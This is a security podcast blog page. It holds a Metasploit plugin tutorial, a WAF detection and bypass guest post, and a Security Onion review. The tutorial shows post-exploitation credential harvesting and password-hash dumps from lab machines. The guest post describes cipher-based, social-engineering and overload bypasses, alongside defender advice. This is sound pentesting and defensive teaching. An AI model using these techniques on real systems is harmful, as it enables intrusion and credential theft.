Offensive Countermeasures: The Art Of Active Defense: SANSFIRE June 15-16, Blackhat USA July 27-28 & 29-30
Defensive Countermeasures: Foundations for Becoming A Devious Defender: Blackhat USA July 27-28 & 29-30
Check out the entire PaulDotCom crew at BsidesRI June 14-15th!
Sponsored By:
Follow Us On:
Jon "maddog" Hall - Linux, Open-Source, Beer:
Episode 275 - Direct Audio Download
Episode Hosts:
Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.
Video Feeds:
This is the second part of my Pentest Metasploit plugin. This part will cover the post exploitation commands this plugin adds. First I would like to cover the thought process of this commands. The commands came from some modules I pushed and then had to pull from the Metasploit Framework around summer of 2011 that sadly did not comply with some of the rules on what modules where supposed to do and the post mixin did not allowed me to do. I created a Metasploit plugin that added the functionality of the modules I wrote to the console, the initial plugin is called auto post and can be found in my GitHub account https://github.com/darkoperator/Metasploit-Plugins Several of the main design features I took when developing this section of the pentest plugin where:
To use the plugin you only need to download it from my GitHub account and place it in either ~.msf/plugins or in you Metasploit root folder plugins directory for use, sadly at the moment of this writing the tab completion for when loading the plug in will only work if the plugin is on the Metasploit plugins folder of the install and not the hidden home folder.
Sessions that will be used for showing the plugin usage:
msf exploit(handler) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell linux 192.168.1.100:4448 -> 192.168.1.229:47760
2 meterpreter x86/win32 TEST-01BCDAF47C\Administrator @ TEST-01BCDAF47C 192.168.1.100:4444 -> 192.168.1.113:1858
3 meterpreter x86/win32 WIN-YR4V852V71Y\Administrator @ WIN-YR4V852V71Y 192.168.1.100:4444 -> 192.168.1.156:49183
4 shell windows Microsoft Windows [Version 6.1.7601] 192.168.1.100:4447 -> 192.168.1.225:49582
5 shell linux 192.168.1.100:4448 -> 192.168.1.119:33595
Loading the module:
msf exploit(handler) > load pentest
postauto plugin loaded.
[*] Successfully loaded plugin: pentest
The Post Exploitation commands addd are:
Postauto Commands
=================
Command Description
------- -----------
app_creds Run application password collection modules against specified sessions.
multi_cmd Run shell command against several sessions
multi_meter_cmd Run a Meterpreter Console Command against specified sessions.
multi_meter_cmd_rc Run resource file with Meterpreter Console Commands against specified sessions.
multi_post Run a post module against specified sessions.
multi_post_rc Run resource file with post modules and options against specified sessions.
sys_creds Run system password collection modules against specified sessions.
Lets take a look at the app_creds command, this command will run all post exploitation modules that gather credentials from installed applications, first lets take a look at the options it provide:
msf exploit(handler) > app_creds -h
OPTIONS:
-h Command Help
-s <opt> Sessions to run modules against. Example <all> or <1,2,3,4>
The options are quite simple we can tell it what sessions we want to run in a comma separated list or just type 'all' and have it run against all sessions. Lets run it against all the current sessions:
msf > app_creds -s all
Running windows/gather/credentials/wsftp_client against 2
[*] Checking Default Locations...
[*] C:\Documents and Settings\Administrator\Application Data\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Documents and Settings\Administrator\Application Data\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....
Running windows/gather/credentials/wsftp_client against 3
[*] Checking Default Locations...
[*] C:\Users\charlie\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Users\charlie\AppData\Roaming\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....
[*] C:\Users\Administrator\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Users\Administrator\AppData\Roaming\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....
Running windows/gather/credentials/winscp against 2
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] No WinSCP Registry Keys found!
[*] Done!
Running windows/gather/credentials/winscp against 3
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] No WinSCP Registry Keys found!
[*] Done!
.........
Running multi/gather/filezilla_client_cred against 4
[*] No users found with a FileZilla directory
Running multi/gather/filezilla_client_cred against 5
[*] Checking for FileZilla Client profile in: /home/carlos
[*] Checking for FileZilla Client profile in: /home/lost+found
[*] Checking for FileZilla Client profile in: /root
[*] No users found with a FileZilla directory
The command will run each module sequentially against the current sessions, output of each of the commands is shown as they are executed. The credential harvesting post modules save their results in the credentials table. To look at the just issue the command creds, another thing is that the target host for this credentials are also stored in the hosts table:
msf exploit(handler) > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
1.1.1.1 21 carlos marta password true
10.10.1.1 21 test tessqwwe password true
10.10.10.10 21 msf test password true
10.10.10.100 22 test resroass password true
192.168.1.1 21 msf test password true
[*] Found 5 credentials.
msf exploit(handler) > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
1.1.1.1
10.10.1.1
10.10.10.10
10.10.10.100
192.168.1.1
192.168.1.115 CARLOS-192FCD91 Microsoft Windows XP SP3 client
The next command for gathering information is the sys_creds, this command will choose the appropriate credential dumping command depending on the sessions type and OS, in the case of windows system it will attempt to get system privilege to be able to dump the hashes, they to can be found in the creds table and in loot. Options:
msf exploit(handler) > sys_creds -h
OPTIONS:
-h Command Help
-s <opt> Sessions to run modules against. Example <all> or <1,2,3,4>
Running the command:
msf exploit(handler) > sys_creds -s all
...
Running windows/gather/smart_hashdump against 1
[*] Running module against CARLOS-192FCD91
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /Users/carlos/.msf4/loot/20120125082528_default_192.168.1.115_windows.hashes_690213.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY f228f68360a9fbdd929f311d27192e90...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
[+] Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+] HelpAssistant:1000:4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392:::
[+] SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e:::
[+] HR:1003:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Running windows/gather/smart_hashdump against 2
[*] Running module against TEST-01BCDAF47C
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /Users/carlos/.msf4/loot/20120125082534_default_192.168.1.113_windows.hashes_233919.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 4503ffd18cd3ee70d443b159c8626842...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
[+] Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+] HelpAssistant:1000:17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2:::
[+] SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63:::
Running linux/gather/hashdump against 3
[+] root:$1$1lQhcdo0$QpqLgMYl1r4nerxr9GQDn0:0:0:root:/root:/bin/bash
[+] nscd:!!:28:28:NSCD Daemon:/:/sbin/nologin
[+] vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin
[+] oprofile:!!:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
[+] pcap:!!:77:77::/var/arpwatch:/sbin/nologin
[+] ntp:!!:38:38::/etc/ntp:/sbin/nologin
[+] dbus:!!:81:81:System message bus:/:/sbin/nologin
[+] avahi:!!:70:70:Avahi daemon:/:/sbin/nologin
[+] rpc:!!:32:32:Portmapper RPC user:/:/sbin/nologin
[+] apache:!!:48:48:Apache:/var/www:/sbin/nologin
[+] mailnull:!!:47:47::/var/spool/mqueue:/sbin/nologin
[+] smmsp:!!:51:51::/var/spool/mqueue:/sbin/nologin
[+] sshd:!!:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
[+] xfs:!!:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
[+] rpcuser:!!:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
[+] nfsnobody:!!:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
[+] haldaemon:!!:68:68:HAL daemon:/:/sbin/nologin
[+] gdm:!!:42:42::/var/gdm:/sbin/nologin
[+] carlos:$1$1lQhcdo0$QpqLgMYl1r4nerxr9GQDn0:500:500:Carlos Perez:/home/carlos:/bin/bash
[+] Unshadowed Password File: /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.hashes_102504.txt
Running linux/gather/hashdump against 4
[-] You must run this module as root!
Looking at the gathered info using loot since system hashes are saved there:
msf exploit(handler) > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
...
192.168.1.113 445 HelpAssistant 17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2 smb_hash true
192.168.1.113 445 Administrator bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203 smb_hash true
192.168.1.113 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63 smb_hash true
192.168.1.115 445 HR 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 smb_hash true
192.168.1.115 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e smb_hash true
192.168.1.115 445 HelpAssistant 4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392 smb_hash true
192.168.1.115 445 Administrator bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203 smb_hash true
[*] Found 12 credentials.
msf exploit(handler) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.113 windows.hashes TEST-01BCDAF47C_hashes.txt text/plain Windows Hashes /Users/carlos/.msf4/loot/20120125082534_default_192.168.1.113_windows.hashes_233919.txt
192.168.1.115 windows.hashes CARLOS-192FCD91_hashes.txt text/plain Windows Hashes /Users/carlos/.msf4/loot/20120125082528_default_192.168.1.115_windows.hashes_690213.txt
192.168.1.115 ie.cookies ie_cookies.txt text/plain Internet Explorer Cookies /Users/carlos/.msf4/loot/20120125081022_default_192.168.1.115_ie.cookies_091073.txt
192.168.1.115 ie.history ie_history.txt text/plain Internet Explorer Browsing History /Users/carlos/.msf4/loot/20120125081022_default_192.168.1.115_ie.history_338823.txt
192.168.1.115 windows.autologin.user.creds windows-autologin-user-creds.csv text/csv Windows AutoLogin User Credentials /Users/carlos/.msf4/loot/20120125080927_default_192.168.1.115_windows.autologi_357557.csv
192.168.1.115 imail.user.creds imail_user_creds.csv text/csv Ipswitch iMail user credentials /Users/carlos/.msf4/loot/20120125080951_default_192.168.1.115_imail.user.creds_495255.csv
192.168.1.119 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.hashes_102504.txt
192.168.1.119 linux.passwd passwd.tx text/plain Linux Passwd File /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.passwd_327705.txt
192.168.1.119 linux.shadow shadow.tx text/plain Linux Password Shadow File /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.shadow_914385.txt
The next command in the list if the multi_post command, this command allows the running of a specified post modules against a list of sessions or all sessions. The command will check that the options provided are correct during execution and will check that the module is compatible with the session before executing. Recently the option to do tab completion for the module name was added. The options are:
msf > multi_post -h
OPTIONS:
-h Command Help
-m <opt> Module to run against sessions.
-o <opt> Module options.
-s <opt> Sessions to run module against. Example <all> or <1,2,3,4>
Lets run the checkvm modules for windows and linux, in the output you will be able to see that the module only executed against those sessions that the module was compatible for:
msf > multi_post -m post/windows/gather/checkvm -s all
Loading windows/gather/checkvm
Running against 2
[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running against 3
[*] Checking if TEST-01BCDAF47C is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running against 4
[*] Checking if WINDEV01 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
msf > multi_post -m post/linux/gather/checkvm -s all
Loading linux/gather/checkvm
Running against 6
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
Running against 7
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
The other multi post command allow the running of modules against multiple session with options using a resource file, this allows you to have several resource files with options already pre-set for specific tasks, tab completion can be use for the resource file name:
msf > multi_post_rc -h
OPTIONS:
-h Command Help
-rc <opt> Resource file with space separate values <session> <module> <options>, per line.
The RC File:
msf > cat /tmp/checkvm.rc
[*] exec: cat /tmp/checkvm.rc
all post/windows/gather/checkvm
all post/linux/gather/checkvm
Running the RC file:
msf > multi_post_rc -rc /tmp/checkvm.rc
all post/windows/gather/checkvm
Loading post/windows/gather/checkvm
Running Against 2
[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running Against 3
[*] Checking if TEST-01BCDAF47C is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running Against 4
[*] Checking if WINDEV01 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
all post/linux/gather/checkvm
Loading post/linux/gather/checkvm
Running Against 6
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
Running Against 7
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
When looking at running commands against sessions, there are 2 types of commands that can be executed, Shell commands and Meterpreter console command, for shell commands the multi_cmd command is available:
msf > multi_cmd -h
OPTIONS:
-c <opt> Shell command to run.
-h Command Help
-p <opt> Platform to run the command against. If none given it will run against all.
-s <opt> Comma separated list sessions to run modules against.
You can specify a platform for running the command (bsd, solaris, linux and win), the list of sessions and the command to be executed. On windows based system I recommend using the "cmd /c
msf > multi_cmd -s all -p win -c "cmd /c ipconfig"
Running cmd /c ipconfig against session 2
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.1.115
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Running cmd /c ipconfig against session 3
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.1.113
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Running cmd /c ipconfig against session 4
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::9930:cb9f:3b7e:e92d%10
...
Tunnel adapter Local Area Connection* 9:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : 2001:0:4137:9e76:3422:1b95:3f57:fe65
Link-local IPv6 Address . . . . . : fe80::3422:1b95:3f57:fe65%12
Default Gateway . . . . . . . . . : ::
Lets run ifconfig against linux systems:
msf > multi_cmd -s all -p linux -c "/sbin/ifconfig -a "
Running /sbin/ifconfig -a against session 6
eth0 Link encap:Ethernet HWaddr 00:0C:29:97:CD:08
inet addr:192.168.1.119 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe97:cd08/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1297491 errors:1 dropped:0 overruns:0 frame:0
TX packets:51870 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:205739082 (196.2 MiB) TX bytes:4346662 (4.1 MiB)
Interrupt:67 Base address:0x2024
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
TX packets:1567 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2116526 (2.0 MiB) TX bytes:2116526 (2.0 MiB)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Running /sbin/ifconfig -a against session 7
eth0 Link encap:Ethernet HWaddr 00:0C:29:97:CD:08
inet addr:192.168.1.119 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe97:cd08/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1297495 errors:1 dropped:0 overruns:0 frame:0
TX packets:51874 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:205739404 (196.2 MiB) TX bytes:4348194 (4.1 MiB)
Interrupt:67 Base address:0x2024
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
TX packets:1567 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2116526 (2.0 MiB) TX bytes:2116526 (2.0 MiB)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
For running Meterpreter console commands the multimetercmd command is available it will check if the session specified is a Meterpreter session or not before executing, there is also a resource driven version of the command also:
msf > multi_meter_cmd -h
OPTIONS:
-h Command Help
-c <opt> Meterpreter Console Command to run against sessions.
-s <opt> Sessions to run Meterpreter Console Command against. Example <all> or <1,2,3,4>
Lets run sysinfo against all sessions:
msf > multi_meter_cmd -s all -c sysinfo
Running command sysinfo against session 2
Computer : CARLOS-192FCD91
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Running command sysinfo against session 3
Computer : TEST-01BCDAF47C
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Running command sysinfo against session 4
Session 5 is not a Meterpreter session!
Session 6 is not a Meterpreter session!
Session 7 is not a Meterpreter session!
As it can be seen the plugin provide many manners to automate post-exploitation tasks during a pentest. As always I hope you find it useful and would love your feedback and any bug report for bugs found.
This post comes to you from Lamar Spells of http://foxtrot7security.blogspot.com/.
====================As more companies fall victim to hacks based on SQL Injection and as the regulatory environment becomes more stringent, more and more companies are implementing network-based Web Application Firewalls (WAFs). Shares of one Web Application Firewall maker Imperva (NYSE: IMPV) are up about 40% since their November 2011 initial public offering so the clear expectation is that this trend will continue. For end-users, deployment of WAF technology can be a serious mitigating control that enhances the security of their data. For penetration testers whose job it is to evaluate the effectiveness of security controls, the presence of a WAF can be a serious hindrance to productivity. So, as a penetration tester, how can you detect the presence of a network-based web application firewall and how can you bypass it?
The best way to detect the presence of a WAF is to understand what threats the WAF is trying to protect against and how it will behave when it detects the threat. Regulatory and audit frameworks almost always focus on protecting applications against the OWASP Top 10, so that?s a great place to start. That includes some fairly easy things to test like Cross Site Scripting (XSS) and SQL Injection. Some WAFs also, by virtue of their default policies, try to protect against e-mail collector robots, internet worms, content gathering ?leeches? and all sorts of other things. Typically, when a threat is detected, the WAF will behave by returning a standard error message of some sort to the user and by returning an HTTP response code of 200 (OK). Since the WAF provides an HTTP response code of ?OK?, the HTTP response code is really not useful in determining whether a WAF is present or not. This is done by design to foil automated scanners.
So, if the response code is always 200, how do you create an automated utility to detect the WAF? Submit multiple responses and track how the web server behaves under various conditions. Start by making a request that you know, with high probability, will be successful. This is typically a ?GET /? using the fully qualified domain name of the host you are testing. This should (hopefully) result in an HTTP response of 200. Make note the HTTP response along with the content length. Next, submit various requests that you would expect to fail if a WAF were present. Make note of the HTTP response codes and the content lengths. Compare the response codes and content length to the base case. Additionally, submit some requests that you would expect to generate 404 or other return codes if a WAF were not present. Capture the HTTP response codes and content lengths. By comparing the HTTP response codes and content lengths returned by the various tests with the base scenario, you should get a good indication of whether or not a WAF is present.
Fortunately, there are a couple of utilities to make the identification process easy. An excellent utility called waffit helps you identify the type of device present. This utility is available in BackTrack or here. If you find that you have an Imperva WAF, you can use the utility imperva-detect, available here . This tool runs a baseline test plus five additional tests against a user-specified website using the method just described in order to give an indication of the likelihood of an Imperva WAF being present. Both tools operate on the principles described above. Waffit has the advantage of being more comprehensive in terms of devices supported; imperva-detect is fast (generally 2-3 seconds per host) and can be used to quickly validate coverage of a large environment that you know contains Imperva WAFs.
# ./imperva-detect.sh https://www.example.com
--- Testing [https://www.example.com] for presence of application firewall ---
Test 0 - Good User Agent...
-- HTTP Return Code = 200
-- Content Size Downloaded = 385
Test 1 - Web Leech User Agent...
-- Size of content inconsistent versus Test 0 - application firewall possibly present
-- Details: Test 0 Size = 385 Size Recvd = 764
Test 2 - E-mail Collector Robot User Agent Blocking...
-- Size of content inconsistent versus Test 0 - application firewall possibly present
-- Details: Test 0 Size = 385 Size Recvd = 764
Test 3 - BlueCoat Proxy Manipulation Blocking...
-- HTTP Return Code = 200 -- expected 404 -- application firewall possibly present
Test 4 - Web Worm Blocking...
-- HTTP Reutrn Code = 200 & downloaded content size is the same -- application firewall not detected
Test 5 - XSS Blocking...
-- HTTP Return Code = 200 -- while checking XSS blocking
--- Tests Finished on [https://www.example.com] -- 4 out of 5 tests indicate Imperva application firewall present ---
So, now that you know (or suspect) a WAF is present, how do you bypass it? One solution would be simply to look for an easier target. You can perform an nmap scan of the target network looking for other IPs with services running on attractive ports (like 80 and 443) and then verify, using waffit and/or imperva-detect, which of those services have an application firewall protecting them. An unprotected IP represents a soft target that you may flag for additional exploitation.
Another solution makes use of the ciphers supported by the web server sitting behind the WAF. The network-based WAF typically acts as a ?man in the middle? positioned between the browser and the SSL session termination point. The WAF observes the key negotiation and, using the private keys stored within the WAF, performs decryption and inspection of SSL traffic before passing the still encrypted packets downstream to the web server or other SSL termination point.
Ephemeral mode Diffie-Hellman key-agreement protocols were designed to provide perfect forward secrecy to prevent man in the middle attacks. However, if the server or device performing the actual SSL session termination supports an ephemeral mode Diffie-Hellman key-agreement protocol, any device acting as a ?man in the middle? will be unable to decrypt the traffic. This is true because the WAF is unable to observe the key negotiation process when ephemeral mode Diffie-Hellman key agreement is used. Hence, if you can force the use of a cipher algorithm that uses an ephemeral mode Diffie-Hellman protocol for key agreement, your traffic should pass through the application firewall without being inspected.
A full list of SSL and TLS ciphers along with their OpenSSL equivalents can be found here. Depending on the cipher suite, the name of the ciphers supporting the Diffie-Hellman ephemeral mode should contain either ?EDH? or ?DHE? (for ?Ephemeral Diffie-Hellman? and ?Diffie-Hellman Ephemeral?, respectively). You can run the check_ciphers.sh script included in the imperva-detect project to see exactly which ciphers your targeted server supports.
Other methods of bypass certainly exist, but require a great deal more manual effort than just described. Use the device type detected by waffit to search for bypass vulnerabilities specific to the device type detected.
Look for a weak protection profile. Since the WAF must be integrated with the application to function properly, there is always the chance that certain parameters or URLs are not included in the list of items the WAF has ?learned? or been programmed to enforce. Manually attempting to explore the limits of the WAF?s protection profile is time consuming, but may yield results depending on the skill of the security administrators who manage the device.
Use social engineering. Since security administrators must review any blocked transactions and adjust the rules accordingly, it is possible that entering a few seemingly innocent requests that are blocked may result in the loosening of a rule within the WAF profile. Use social engineering of the application support personnel to request a loosening of the input validation rules. Ask the application support personnel to contact the security administrators on your behalf because, after all, a ?valuable customer is being terribly inconvenienced? by all this ridiculous security. This may take a few days to succeed, but the skillfulness with which your request is made and your ability to convince support personnel of the burdensome nature of the controls may make your request successful.
Exploit organizational communication problems. If you have time or can schedule the engagement in advance, wait for an SSL certificate to near expiration or try to find one that just became valid. Since the SSL certificate must be loaded on the WAF, there is sometimes a lag time after a certificate change during which traffic can be uninspected. Depending on the organizational alignment or internal processes, this gap can be significant and may extend to several days or more of exposure.
Cause the organization to drop their defenses. Availability is easy to measure while confidentiality is more difficult. Since customers demand availability, organizations often prioritize availability above confidentiality. WAF devices are expensive and the task they perform is, by its nature, computationally expensive. For this reason, WAF resources tend to be oversubscribed in most environments and may represent a point of attack, especially when presented with computationally intensive tasks.
Network defenders: Here is how you stop this from happening.
1. Use nmap from an external IP to locate all the web servers within your IP range.
2. Use the waffit or imperva-detect tools to verify coverage of your environment.
3. If you find gaps, resolve them promptly.
4. Use the check_ciphers tool included in the imperva-detect project to make certain no EDH or DHE ciphers are supported in your environment.
5. Make sure that your protection profiles are complete and accurate for the applications you are protecting.
6. Review any newly learned URLs to make certain they are protected as soon as possible.
7. Think carefully before modifying a protection profile. It is better to block a few legitimate transactions than to open the door to SQLI or XSS.
8. Listen to user complaints or complaints from support but then see above. Be prepared with statistics to defend maintaining strict input validation controls.
9. Integrate yourself into the certificate management / replacement process. Ideally, you should have the new SSL certificate in place on the WAF before it is used to pass traffic.
10. Make certain your WAF resources are not unduly oversubscribed. If you are inspecting HTTPS traffic, explore the use of SSL accelerator devices.
11. Make certain that SSL renegotiation is disabled in your environment as this can be used to conduct a denial of service.
- Lamar Spells
====================Join Tim Tomes for SANS 542 Web App Penetration Testing and Ethical Hacking in Boston on May 7th! REGISTER TODAY http://www.sans.org/boston-2012-cs/description.php?tid=4382
In this episode Larry and Darren show you to how solder and de-solder!
In this episode we talk about shoes.. And the people who have weird alligator shoe hangups. We also talk about insider attacks and more Offensive Countermeasures goodness.
Links for this Episode:
HD Moore on Metasploit new features and changes and other cool stuff:
Dave Kennedy and SET - The Social Engineering Toolkit (And Derbycon stuff):
Drunken Security News Weekly - #274:
Episode 274 - Part 1 - Direct Audio Download
Episode 274 - Part 2 - Direct Audio Download
Episode Hosts:
Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.
Video Feeds:
Tonight, we present The Wunderkind Edition of PaulDotCom Security Weekly. Episode 274 features a special interview with prodigy HD Moore and a segment on the next iteration of the Social Engineering Toolkit from the Baby Faced CIO, Dave "Rel1k" Kennedy.
Participate in our IRC channel or sit back and enjoy it live via the link below:
NOTE: The video will play the most recent show up until we are live!
Framing in Social Engineering - Chris Hadnagy:
Building Your Own pfSense Wireless Access Point:
Drunken Security News Weekly - #273:
Episode 273 - Part 1 - Direct Audio Download
Episode 273 - Part 2 - Direct Audio Download
Episode Hosts:
Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.
Video Feeds:
In this episode we talk about Symantec, Source Code and good places to eat in Park City.
Links for this Episode:
2011 was a busy year for the Security Onion project and its owner Doug Burks. I just did a quick count of the releases on SourceForge and came up with a total of 32 for 2011! A number of these were bug fixes or application upgrades, but there were quite a few new apps added as well. One of these was Snorby which arrived just in time for Christmas.
I've been using Sguil for quite some time to monitor my Snort boxes, but Snorby is fairly new to me. So I did an update of Security Onion and started checking it out. First impression was how easy it was to see what was happening over time, at least in volume of events. You are taken to the dashboard after logging in and are immediately presented with counts of your high, medium, and low severity events. Underneath each of those counts are bar charts displaying the frequency of those events over the last 24 hours. In the screen shot below, you can see that there were 3 peaks for high severity issues and get a feel for when they occurred. Beneath that is a line chart of the events for the same period of time.
Why does that stand out to me? Well, one of the things we learn in incident response is to watch for things outside the norm in the environment. What looks normal and what stands out as an outlier? While this information is limited to just event counts and their severity, I can still see how things are trending over time. And with just a few clicks, I can see that for the last 24 hours, today, yesterday, the week, month, quarter or year. So how do my IDS events look right now when compared to the volume of last week or a month ago? Am I trending up or down? Anyhow, I thought this was very cool.
From there I started working with looking at individual events. Snorby allows us to look at the event, the payload of the offending traffic, examine the rule that fired the alert, add notes to the alert and perform classification on what was attempted. All in all, Snorby provides good information and is easy to work with. And this is just one of the applications in Security Onion. I've used Snort and Sguil for a long time and they're a major part of Security Onion as well. And there is still a long list of other network security monitoring applications to work with. The really cool thing about Security Onion is how easy it is to setup and deploy. Install the OS on a system, launch the setup application and in a few minutes you are looking at traffic and doing analysis. Updates are easy to apply to both the OS and our NSM applications. The ease of installation and maintenance is a major plus, particularly as Doug keeps rolling out new enhancements at the rate he has been.
All this for the price of a little time and either a virtual machine or some hardware. So take a quick look and give the Security Onion a test drive. Security Onion is also up for the 2011 Toolsmith Tool of the year, so if you like it, consider giving it a vote.
http://securityonion.blogspot.com/
http://holisticinfosec.blogspot.com/2011/12/choose-2011-toolsmith-tool-of-year.html
Kudos to Doug Burks for his work on Security Onion and to Dustin Webber for his work on Snorby.
Thursday night, Episode 273 of PaulDotCom Security Weekly features a special Guest Technical Segment from author, podcaster and trainer Chris "LoganWHD" Hadnagy from the Social-Engineer.org website. Chris will give us a glimpse into his upcoming class on Social Engineering via an introduction and discussion on framing.
Participate in our IRC channel or sit back and enjoy it live via the link below:
NOTE: The video will play the most recent show up until we are live!
Bruce Schneier comes on the show to discuss security, privacy, and his new book "Liars and Outliers":
Robin "Digininja" Wood talks about "zonetransfer.me":
Drunken Security News Segment (Cut short due to Ustream problems):
Episode 272 - Part 1 - Direct Audio Download
Episode 272 - Part 2 - Direct Audio Download
Episode Hosts:
Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.
Video Feeds:
In this episode we talk about charity and how stealing is still a crime! We also discuss Strafor and Credit Card theft.
Links for this episode:
